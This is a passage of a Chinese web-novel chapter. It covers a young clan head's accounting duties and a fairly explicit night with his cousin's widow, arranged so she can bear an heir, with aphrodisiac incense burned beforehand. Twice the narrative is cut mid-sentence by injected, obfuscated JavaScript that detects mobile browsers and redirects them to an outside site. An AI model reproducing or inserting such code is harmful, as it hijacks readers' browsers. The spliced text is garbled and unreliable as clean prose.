每处邸报涂上程家专用封漆,先经程明昱之手,再交由专人保管,不经总账房。故而真实底细,总账房的管家是不知道的。程明昱当然不是神,这不过是驭下的手段,刻意留意一类账目,预备事后合账,以震慑底下管事乃至身旁的管家们。他年轻,尚未而立,掌家也不过数年,底下有资历的老管事比比皆是,难保没人糊弄他。 拾起第二份文书,是族内各处大项开支的申报单子。 负责府内采买的是四管家,目光不由得跟随那双白皙分明的手,生怕他一个停顿,自己这厢就该吃排揎了,总算挨到最后一页,眼见地要松一口气了,那个人,那张俊美无俦的面孔,抬起那双冷淡深邃的眸子,终究朝他看了来。 四管家绝望地跪下,“家主...” “这些价目,去市面合计过了吗?” “合计过了,合计过了。”四管家抬袖拭汗,慌忙点头,“都是货比三家定的价目,供货的商家有合作过的老人,也有竞争力比较强的新户,老奴私下打听过,没有底细不干净的。” “我记得府上有规矩,凡每月采度在一千两以上的大宗买卖,必有三家供货商,蜡烛为何只有两家?” 程家堡每日消耗蜡油无数,这是一宗大买卖,远近蜡烛商户可劲儿地想揽下这笔生意,程明昱从不将鸡蛋放在一个篮子里,一来让其竞争上位,杜绝以次充好,二来,尽可能减少管事与供货商家勾结的机会,各人走各人的门路,如此可相互牵制,不至于出大岔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536548|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 程明昱是个将规矩刻在骨子里的人,任何突破常规之事,格外容易引起他的注意。 这会儿功夫四管家后背已湿透,哭丧着脸道,“原先的三家,有一家是二老爷母舅家一个亲戚,仗着二老爷撑腰,将另外一家给抢了,老奴原也是不应的,怎奈二老爷亲自来采买房说项....” 四管家索性揩了一把泪,抬眸仰望程明昱,“家主,老奴也不想坏了这个规矩,实在是拗不过二老爷,可否请家主出面去二老爷跟前说个话...” 眼看程明昱脸色越来越难看,他吓得将后面的话咽了回去。 程明昱静静看着他,脸色转淡到最后面无表情,“事事都要我这个族长出面,还要你们这些管家作甚?” “能独当一面的方为府上八大管家,此事你自行料理,料理不好,这差事你别担了。” 四管家含泪接过账目,悄声退出了房。 批完几处紧急账目,执掌戒律院的八管家上前,将近日族中犯事的案件报与他知,程明昱手中翻阅旁的簿册,漫不经心听着,戒律院是程明昱亲自搭建起来的,所用人手均是嫡系心腹,程明昱最为放心,平日插手的时候不多,听听便过了,今日听得族学出了事,他忽然掀眼问大管家, “这位柳夫子是不是不大得人心?” 大管家上前作答,“颇有些恃才傲物,好为人师。肚子里才学是有,不过实在不擅长教人。” 程明昱明白了,抬手示意书童研墨,“我修书一封,请嵩山书院的沈青夫子替了他。” 这边戒律院的人退下,负责对接朝廷六部衙门的七管家上前, “度支的桑大人来信,想托程家帮忙在江南收购一批生丝,以应对北齐互贸之用。” 程明昱头也不抬吩咐大管家,“去信金陵,叫陈珉协助织锦院。” “柳州今年秋生了蝗灾,米价陡升,百姓沿街乞讨,当地平准衙门已失去掌控..” “从附近几路程家铺子,调粮米过去,稳住粮价...” “......” 二十五岁的年轻家主,当朝参知政事,状元出身,自少接受儒家士大夫教育,以天下苍生为己任,他身上担着的不仅有阖族命脉与前程,更有苍山社稷与黎民百姓,弹指间决定一方百姓生死,一举一动牵涉阖族兴衰,骨子里刻着修身齐家治国平天下的抱负。 从不知私欲为何物。 他太忙了,朝前朝后,族里族外,每日卯时初刻起,亥时四刻睡,如一块刻在天地间的精密晷表,心思缜密,从无错漏。 门外的平伯眼瞅着里头无休无止,还不知耽搁到何时去,只得硬着头皮进屋,低声提醒, “家主,今日十四。” 案后那人显然还在看公文,一时没功夫理会他。平伯再三复述,他方抬起眼。 平伯对上他略显质询的眸子,僵硬一笑,一个字一个字往外蹦,“四房那边,就是今晚,您可别忘了。” 程明昱这才恍然大悟,慢慢坐直了身,暗忖他当初怎么就应下了这么荒唐的事,不由得抚了抚额角,视线再度盯住未阅完的文书,问道,“什么时辰了?” 平伯道,“戌时二刻。” 程明昱默了默,停住笔墨。 不早不晚,着实该过去了。否则再迟,便要耽搁安寝。 他最后吩咐几句,叫管家们退下,着书童整理文书邸报,这才跟随平伯回了后寝。 水是现成的,程明昱跨进浴室,打算更衣。 沐浴结束后,平伯这厢捧来周氏吩咐人缝制的喜袍,绛红的袍色在烛光下泛着柔和的光泽。程明昱系好中单,目光在那抹红色掠过,没做半分停留,径直换了常服。 他素日偏爱雪衫,今日却换身玉色长袍。自书房角门往东而出,来到一处蜿蜒的河池旁,这一带是他私地,平日鲜少有人出没。欲达听雨阁竹林旁的月洞门,需先过一截横跨莲池的九孔白玉石桥。 月华如水,流泻他清隽的肩脊,他独行于桥上,衣袂不惊,风骨朗朗。远远望去,他像嵌在天地间的一截雪松,一川月色,满桥清辉,皆成了陪衬,唯他一人,皎然出尘,遗世独绝。 早在程明昱进后寝之际,消息也极快地送至听雨阁,文宁得训立即穿过雕花长廊进了屋,对着尚在窗下托腮出神的夏芙道,“夫人,家主今夜过来。” 夏芙手臂一软,脑袋险些从掌心滑脱,她慌忙起身,一颗心砰砰直跳,“往这边来了?” “是!” 夏芙顿时慌了神,四下张望。 茶水已备妥,听闻家主爱洁,桌案已擦拭五六道,不留丝毫灰尘,再看那床榻,软烟罗的帘纱已挂好,被褥铺得整整齐齐,她这是该坐在底下等,还是去床榻躺好,等着速战速决? 哎哟,胡思乱想些什么,该赶紧更衣才是呀。 老嬷嬷见她提着裙摆茫然无措,险些笑出了声,“好奶奶,随奴婢进屋更衣吧。” 进了浴室旁的更衣室,只见一身大红鸳鸯对襟喜袍挂在屏风处,夏芙瞧见,脸一红,笃定摇头,“嬷嬷,过于刻意了些,就着常服吧。” 最终夏芙挑了件藕粉的对襟薄褙,既不显得娇艳喜庆,又不过于素净,也算应景。 少顷,嬷嬷与文宁相继退下,偌大的听雨阁只剩夏芙一人。 十四的月亮又大又圆,被云沙覆过,好似镶了一层毛边,秋风拂过水面,碎了一池银鳞。远处隐隐传来喧闹声,隔了水音,倒显得不真切了。 夏芙绞着帕子坐在拔步床,等得手心冒汗,她盘算着程明昱快到了,便起身走到妆台前,从匣子里取出一截早已备好的“迷情香”给点上。 青烟袅袅升起,淡得几乎看不见,只一缕若有若无的幽香在空气中弥漫开来。 夏芙深吸一口气,退回床边坐下。 15. 第 15 章 比新婚之夜还要紧张。 那一夜,她虽也忐忑,却深知程明祐心系于她,将她捧在掌心。她认定了这辈子跟这个人,心里是踏实甜蜜的,甚至藏着几分向往。 今夜,全然不同。 这个人是程家家主,当朝宰辅,世家第一人,生于云端,平素可望而不可即。他们之间,天悬地隔,本不该有任何接触。 他们并非夫妻。 今夜之事,如同禁忌,黑暗,隐秘,不为人知。 热辣辣的羞耻感涌上心头。 夏芙深吁出一口气,按捺住临阵脱逃的念头,不断地告诉自己: 一切为了孩子。 为了给夫君留一脉香火。 为了往后踽踽独行的人生有个依靠。 正胡思乱想着,雕窗长廊处传来脚步声。 沉缓又无比清晰。 他来了。 夏芙心头一凛,所有杂念瞬间压下,缓缓起身,来到屏风外立定,垂眸候着那人近前。 程明昱打北园月洞门进院,绕过廊庑,脚步声停在门口。 进屋往西,三间打通,是一派轩敞书斋。往东则为起居寝卧,格局与旁个寝室不同。入门但见两道雕花博古架夹成长廊,架上错落陈列各色古玩珍奇。穿廊而过,迎面便是一间宽绰明净的绣房。东窗下设桌案、长几、炕床之类,北壁则开一扇月洞窗,窗外恰对一院细竹,翠影摇曳。 再往深处,博古架后与格栅门之间,另夹着一间寝室。寝室西侧又接连更衣室与浴室,整片居所布局疏朗,气象开阔而不失幽邃。 这一间院子程明昱并不陌生。 少时在程家堡读书,长居于此。年轻不更事,也曾舞剑对长空。 布局没变,就连摆设也如旧,可见夏氏不曾做任何改动。 是个极有分寸的女子。 唯一不同的是北窗下曾摆放一琴台,如今琴台犹在,琴却不知所踪。 他不是来弹琴的,当然不在意。 程明昱不做多想,迈出夹道,视线往屏风处移去。 内室与绣房之间,仅一架四开的座屏相隔。 屏风下有女子亭亭而立,藕粉褙子裹着她削肩细腰,衣纹如水烟垂落,衬得整个人似笼在三月春雾里,袅袅娜娜,仿佛风一吹就会散了。 程明昱并未细瞧,视线只轻轻一扫,便收回去了,抬袖朝她一揖。 夏芙也在同一时刻屈膝,嗓音低低的,“见过家主。” 两厢算是见过礼了。 室内点着一盏葛纱灯,这种纱并不轻薄,光线渗出来洒落满室,朦胧如雾,恰到好处地遮掩了陌生带来的窘迫与尴尬。 夏芙视线落在他袍角,不敢上移,不待他吱声,便匆匆移去前方桌案,将备好的茶水斟好,双手捧着,小心翼翼地递到他面前。 “请家主饮茶。” 嗓音软软糯糯,比初见那日更为轻柔,细得像春蚕吐丝,好似在他耳边挠过,程明昱默了一瞬,抬手将茶接过,嗓音清淡如水,“多谢。” 夜风从半敞的窗棂间溜进来,拂动他袖口暗纹。二人夹着一处桌脚,侧身相对,谁也没看谁。 一个霁月风光,一个婀娜婉媚,八竿子打不着的两个人,同立一个屋檐下。 并不适应。 程明昱握着茶盏没动。 他夜里从不饮茶。 夏芙察觉他没动,飞快瞟了他一眼,那张脸清隽如玉,端肃凛然,眼神漆黑如墨,不带半丝欲色,望之如雪山之巅的松柏,一想到自己即将冒犯他,夏芙心下戚戚,不自在极了。 家主长身而立,没有落座喝茶的意思,可见不愿拖延时辰。 也对,他日理万机,哪有工夫耗在她这? 还是速战速决为妙。 夏芙于是清了清嗓,往屏风处的盆架一比,“给家主备了水净手。”说罢,也不等他回应,脚步轻盈地往床榻那边去了。 程明昱神情未变,颔首应了一声,将茶盏搁下,这时,一缕青烟适时掠进他鼻尖,程明昱眉峰蹙起。 这种迷香,他当然不陌生。 十七岁那年出使北齐,住在驿馆之时,险些便着了明月公主的道,后来程明昱对这种香儿粉儿的深恶痛绝,回到程家,召集一批精通药理的暗卫与府医,辨识各类毒药,往后便是“百毒不侵”。 可此刻,萦绕在鼻尖的这一缕,并非什么烈性催情之物,只是市面上最常见的情香,为闺房助兴之用。 其意图,显而易见。 程明昱心情复杂地抚了抚杯盏,克制住掉头就走的冲动,默声坐了下来。 * 夏芙当然不知这等迷香触了程明昱逆鳞,这是婆母交给她的,吩咐她夜里燃上,用意不用说,夏芙也明白,她与程明昱毫无情愫,当中又隔着几层身份,唯恐行房不顺,以此添趣。 她紧张地躺了下来。 甚至主动将水红的中裤给褪下,扔去一旁。 这样的事当然不能叫家主来做。 她深知他是被赶鸭子上架,被迫应了这事。 裙摆重新理好,铺在身上,她规规矩矩躺着,一动不动。 软烟罗的纱帐内还有一层绛红的里帘,为的是将外头光线遮得严严实实。 遮住彼此那张面孔,便于更好地行事。 效果极好,拔步床内黑漆漆的,一丝光线也无。 夏芙嫁给程明祐半年,这种事上的经验,自然称得上丰富。印象里,夫君多则一刻钟,少则一盏茶功夫,不算折腾人。 当然啦,程明祐贪念她的身子,一夜总能要个两三回,不过这等事不会发生在家主身上。 所以她不用顾虑。 闭上眼躺一躺,很快便完事了。 夏芙安心地等。 等了片刻,不见人来,家主莫不是临时反悔了?正疑惑着,外间传来哗啦啦的水声,便知程明昱在净手。她这才松了一口气,抚了一把掌心的汗,重新躺好。 程明昱这边,修长指尖轻轻在水中搅动,不疾不徐地净手,目光不经意扫在床榻间,却见一片水红裤脚自帘内滑出,软软垂在踏板边,被他看了个正着。 毕竟不是初出茅庐的小子,那是何物一眼辨出。 没料到小娘子看着文文静静,懦懦弱弱,关键时刻却一点也不扭捏。 为了个孩子,真是难为了她。 程明昱擦干掌心,行至拔步床前。帘帐低垂,将内里景象遮得严严实实。一帘之隔,隔住的是堂兄与隔房弟媳不可逾越的界限,隔住的是男女之防、礼教森严,是不可背离的君子之风。 只消他伸出手,掀开一角,一切陈规便就此打破。 素来自律克己的贵公子,本做不出这等有违伦理之事,可偏偏“兼祧”这一礼法,给今日的逾越镀上了一层合法的外衣。 即便如此,这终究不是他一个外男能窥伺的,程明昱凝立片刻,抬手往内一揖, “冒犯了。” 帘内的夏芙闻言,险些失笑,她自然不觉得是他在冒犯她,恰恰相反,是她强求了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538665|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这一声“冒犯”,到底让她感受到了前所未有的尊重,惶惶不安的那颗心也得到安抚。 她知道家主轻易过不了心里那关,她也愧疚,于是柔声地回应, “辛苦家主了。” 话落,帘幔被掀开半幅,那道清肃的身影逆光而入。 那一瞬,夏芙闭上眼。 那一瞬,程明昱辨清夏芙所在。 很快帘帐重新落下,隔绝外头的光线,风裹挟湿漉漉的桂花香以及他身上那股清冽的雪松气一同卷了进来,夏芙猝不及防吸了一口,拘束着身子不敢挪动分毫。 紧接着床榻一陷,他该是上来了,夏芙阖着目微微屈膝,便于他行事。 即便看不清人,那股笼罩的威压趋近,他身上皂角的清气,无声无息地覆过来。她下意识屏住呼吸,可那股气息还是钻进来,凉丝丝的,带着一种让她心口发紧的干净。 隔着些许距离,他衣袂轻轻磨蹭她柔软的下摆,谁也没动。四下里静极了,唯彼此呼吸清晰可闻,一个沉缓平稳,一个轻浅急促。 这样的静默好似持续了许久,好似仅仅是一瞬。 夏芙恍神的功夫,他双膝毫不迟疑地欺了上来,高大的身影如玉山倾颓悬在她上方。 整个榻间像被抽空了空气,所有的响动都消失了,夏芙深深闭上眼,将脸偏向外侧,咬住下唇,脚尖下意识往内缩,却犹自克制不动,她清晰感受到他刻意避开碰触,她也尽量不挨着他分毫。 两人明明近在咫尺,却又泾渭分明。 当然,自有不可避免之处....炙热的触感清凌凌地浮上来,在静默里一寸一寸发酵,如藤蔓一般无可救药往上攀延,攀住她五脏六腑及汗涔涔的脑门。 胀痛瞬间攫住她所有感官,比起痛,有种异常的难受... 这种艰难始料不及,夏芙忍耐着不适,茫然地盯住低垂的帘帐。 不过这点疑惑很快得到自我解释。 过去与夫君你侬我侬,床笫之间情意绵绵,总总将她弄得气喘吁吁一个不留神便溜进去了,家主不然,他们之间毫无夫妻情谊,自然做不到亲昵地抚慰,她也做不到。 只能再等一等,等迷情香起效。 程明昱也在等,等她放轻松,等她适应。 于他而言任何多余的举动都算冒犯,手臂微沉纹丝不动。 两下里陷入僵持。 夏芙尽可能放软身子,却逃不开刀锋般的强硬,那份禁忌的压抑,以及有意无意的研磨,层层叠叠地堆上来,如潮水一般漫过她鼻尖。 渐渐的,被那股绵绵涌上来的渴望主宰,她浑浑噩噩地拽住床褥,指节攥得发白,努力想转移注意力,却只觉那股炙热仿佛要凌迟了她。额尖细汗密布,顺着鬓角滑进发根。就在意识即将涣散之际,骤然间有什么捕捉住了机会,冲破阻碍,翻山越岭而来,那一瞬,骨缝仿佛被撑开,隐秘的酸软如蝉丝细细密密地绞住她所有感官,夏芙没耐住叫出一声。 程明昱听得那声吟,喉结微滚,没有再进。 风沿着窗棂滚进,掀开床帘一角,透了些许光线进来。 一个细汗涔涔,娇嫩的面颊染了一层彩霞般靡丽。 一个身姿秀挺,雪白中单整洁堆在膝上,呼吸分毫不乱,风骨如旧。 视线再度交错开,谁也没望谁。 夏芙从不知自己可以发出这等娇柔婉转的嗓音,羞耻地捂住了脸。 这种感觉陌生至极,更是前所未有,—定是那迷情香在作祟,明夜可不能再熏了。